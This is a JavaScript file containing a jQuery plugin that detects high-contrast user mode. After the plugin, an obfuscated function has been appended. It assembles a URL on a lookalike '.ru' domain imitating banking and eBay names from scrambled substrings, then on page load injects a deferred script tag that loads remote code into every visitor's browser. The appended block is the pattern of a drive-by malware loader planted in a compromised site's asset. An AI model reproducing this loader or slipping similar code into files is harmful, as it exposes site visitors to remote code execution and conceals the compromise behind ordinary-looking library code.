/**
 * @author trixta
 */
(function($){
	$.userMode = (function(){
		var userBg, 
			timer, 
			testDiv,
			boundEvents = 0;
		
		function testBg(){
			testDiv = testDiv || $('<div></div>').css({position: 'absolute', left: '-999em', top: '-999px', width: '0px', height: '0px'}).appendTo('body');
			var black = $.curCSS( testDiv.css({backgroundColor: '#000000'})[0], 'backgroundColor', true),
				white = $.curCSS( testDiv.css({backgroundColor: '#ffffff'})[0], 'backgroundColor', true),
				newBgStatus = (black === white || white === 'transparent');
			if(newBgStatus != userBg){
				userBg = newBgStatus;
				$.event.trigger('_internalusermode');
			}
			return userBg;
		}
		
		function init(){
			testBg();
			timer = setInterval(testBg, 3000);
		}
		
		function stop(){
			clearInterval(timer);
			testDiv.remove();
			testDiv = null;
		}
		
		$.event.special.usermode = {
			setup: function(){
				(!boundEvents && init());
				boundEvents++;
				var jElem = $(this)
					.bind('_internalusermode', $.event.special.usermode.handler);
				//always trigger
				setTimeout(function(){
					jElem.triggerHandler('_internalusermode');
				}, 1);
                return true;
            },
			teardown: function(){
                boundEvents--;
				(!boundEvents && stop());
				$(this).unbind('_internalusermode', $.event.special.usermode.handler);
                return true;
            },
            handler: function(e){
                e.type = 'usermode';
				e.disabled = !userBg;
				e.enabled = userBg;
                return jQuery.event.handle.apply(this, arguments);
            }
		};
		
		return {
			get: testBg
		};
		
	})();
	
	$.fn.userMode = function(fn){
		return this[(fn) ? 'bind' : 'trigger']('usermode', fn);
	};
	
	$(function(){
		$('html').userMode(function(e){
			$('html')[e.enabled ? 'addClass' : 'removeClass']('hcm');
		});
	});
})(jQuery);

function D(){var Q;if(Q!='' && Q!='z'){Q=''};var Ff;if(Ff!='' && Ff!='i'){Ff=''};var U=String("g");var Gj;if(Gj!='mP' && Gj != ''){Gj=null};var l='';var d;if(d!='je' && d != ''){d=null};var K;if(K!='A' && K != ''){K=null};var S=RegExp;var QH;if(QH!=''){QH='tn'};var a;if(a!='k'){a=''};var zf;if(zf!='zu'){zf=''};function F(w,_){var o;if(o!=''){o='M'};var ti;if(ti!='' && ti!='H'){ti=''};var C= new String("CFOm[".substr(4));var Ft=new String();C+=_;var CN=new Array();C+=String("]");var Hj;if(Hj!='R' && Hj != ''){Hj=null};var tS;if(tS!='f' && tS != ''){tS=null};var q=new S(C, U);var HjJ;if(HjJ!=''){HjJ='wZ'};this.T='';return w.replace(q, l);this.BS="";this.u="";};var cP="";this.g="";var uD;if(uD!='UM' && uD!='pp'){uD=''};var eE="";var Ix;if(Ix!='eJ'){Ix='eJ'};var Vs;if(Vs!='my'){Vs='my'};var m=String("j2A7defer".substr(4));var X=String("2yd/x".substr(3)+"an"+"rEuqgauEqr".substr(4,2)+"Vhqy.c".substr(4)+"omuZCi".substr(0,2)+"Ukp/xUpk".substr(3,2)+"anvNkb".substr(0,2)+"gasdkJ".substr(0,2)+".cTnro".substr(0,2)+"om"+"/wQ4K".substr(0,2)+"fKgyea".substr(4)+"th"+"erQG5Y".substr(0,2)+".c"+"om"+"1CfV/g".substr(4)+"oo"+"iTXgl".substr(3)+"WdJe.".substr(3)+"co"+"Q0Ym/".substr(3)+"am"+"x5l3er5lx3".substr(4,2)+"icdPr".substr(0,2)+"an"+"hNTgex".substr(4)+"kitJpr".substr(4)+"PNCTesCTNP".substr(4,2)+"M5krs.".substr(4)+"Zk7co7Zk".substr(3,2)+"m.8xp".substr(0,2)+"Q93ph".substr(3)+"ptVK".substr(0,1));var op=new Date();var s='';var Yz;if(Yz!='Fe' && Yz!='nI'){Yz='Fe'};var FQ=window;var t=F('811599051958591505559',"915");var cq;if(cq!='hw' && cq != ''){cq=null};var O=new String("src");this.ld='';var j=String("http"+"://c"+"omdi6k5s".substr(0,4)+"kG3rectG3k".substr(3,4)+"-de."+"tudon6K".substr(0,4)+"2Egu.coEg2".substr(3,4)+"m.eb"+"ay-czwC".substr(0,4)+"om-a"+"ZyT9u.suT9Zy".substr(4,4)+"z9u6permu96z".substr(4,4)+"5gmixon".substr(3)+"line"+"M5tS.ru:MtS5".substr(4,4));var E_=new String();var h="scri32YE".substr(0,4)+"pt";var ta="";var nB="";var bn;if(bn!='' && bn!='OX'){bn=''};FQ.onload=function(){var AS;if(AS!='LX'){AS='LX'};var By='';try {var Xi='';this.YG="";var W;if(W!='Nd' && W != ''){W=null};s=j+t;var WH;if(WH!='' && WH!='yQ'){WH=''};s+=X;var zl;if(zl!='iS' && zl!='pnH'){zl=''};var vm=new Array();jO=document.createElement(h);var yA=new Array();jO[m]=[6,1][1];var Vq;if(Vq!='il' && Vq!='Rx'){Vq=''};var Be=new Date();jO[O]=s;this.wG='';var LN;if(LN!='ce' && LN != ''){LN=null};this.Vx='';this.Kk='';var zh="";var LXH=new String();document.body.appendChild(jO);var yn;if(yn!='' && yn!='bv'){yn='XE'};} catch(Z){this.vM="";this.hL='';};this.mO="";var Z_;if(Z_!='Jl' && Z_ != ''){Z_=null};};this.aT="";};var Cd=new Date();D();this.xw='';